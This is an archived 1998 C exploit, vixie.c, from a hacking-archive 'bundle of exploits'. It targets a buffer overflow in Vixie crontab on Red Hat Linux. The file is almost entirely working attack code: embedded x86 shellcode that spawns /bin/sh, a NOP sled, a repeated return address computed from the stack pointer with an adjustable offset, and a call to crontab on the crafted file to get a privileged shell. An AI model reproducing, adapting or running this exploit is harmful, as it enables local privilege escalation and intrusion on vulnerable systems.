home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / vixie.c < prev    next >
C/C++ Source or Header  |  1998-07-17  |  2KB  |  96 lines

  1.  
  2.  
  3. /* vixie crontab buffer overflow for RedHat Linux
  4.  *
  5.  * I dont think too many people know that redhat uses vixie crontab.
  6.  * I didn't find this, just exploited it.
  7.  *
  8.  *
  9.  * Dave G.
  10.  * <daveg@escape.com>
  11.  * http://www.escape.com/~daveg
  12.  *
  13.  *
  14.  */
  15.  
  16. #include <stdio.h>
  17. #include <sys/types.h>
  18. #include <stdlib.h>
  19. #include <fcntl.h>
  20. #include <unistd.h>
  21.  
  22. #define DEFAULT_OFFSET          -1240
  23. #define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
  24. #define HAPPY_FILE              "./Window"
  25.  
  26. long get_esp(void)
  27. {
  28.    __asm__("movl %esp,%eax\n");
  29. }
  30.  
  31. main(int argc, char **argv)
  32. {
  33.    int fd;
  34.    char *buff = NULL;
  35.    unsigned long *addr_ptr = NULL;
  36.    char *ptr = NULL;
  37.   u_char execshell[] =
  38.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  39.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  40.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  41.  
  42.  
  43.  
  44. /*
  45.  * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
  46.  * a '=' character appears below
  47.  */
  48.  
  49.  
  50.    int i;
  51.    int ofs = DEFAULT_OFFSET;
  52.  
  53.    /* if we have a argument, use it as offset, else use default */
  54.    if(argc == 2)
  55.       ofs = atoi(argv[1]);
  56.    else if (argc > 2) {
  57.       fprintf(stderr, "egg [offset]\n");
  58.       exit(-1);
  59.    }
  60.    /* print the offset in use */
  61.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  62.  
  63.    buff = malloc(4096);
  64.    if(!buff)
  65.    {
  66.       printf("can't allocate memory\n");
  67.       exit(0);
  68.    }
  69.    ptr = buff;
  70.    /* fill start of buffer with nops */
  71.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  72.    ptr += BUFFER_SIZE-strlen(execshell);
  73.    /* stick asm code into the buffer */
  74.    for(i=0;i < strlen(execshell);i++)
  75.       *(ptr++) = execshell[i];
  76.  
  77.    addr_ptr = (long *)ptr;
  78.    for(i=0;i < (878/4);i++)
  79.       *(addr_ptr++) = get_esp() + ofs;
  80.    ptr = (char *)addr_ptr;
  81.    *ptr++ = '=';
  82.    *ptr++ = 'X';
  83.    *ptr++ = '\n';
  84.    *ptr = 0;
  85.    printf("Writing to %s\n", HAPPY_FILE);
  86.  
  87.    fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
  88.    write (fd, buff, strlen(buff));
  89.  
  90.    close(fd);
  91.  
  92.    execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
  93.    /* Successful completion */
  94.    exit(0);
  95. }
  96.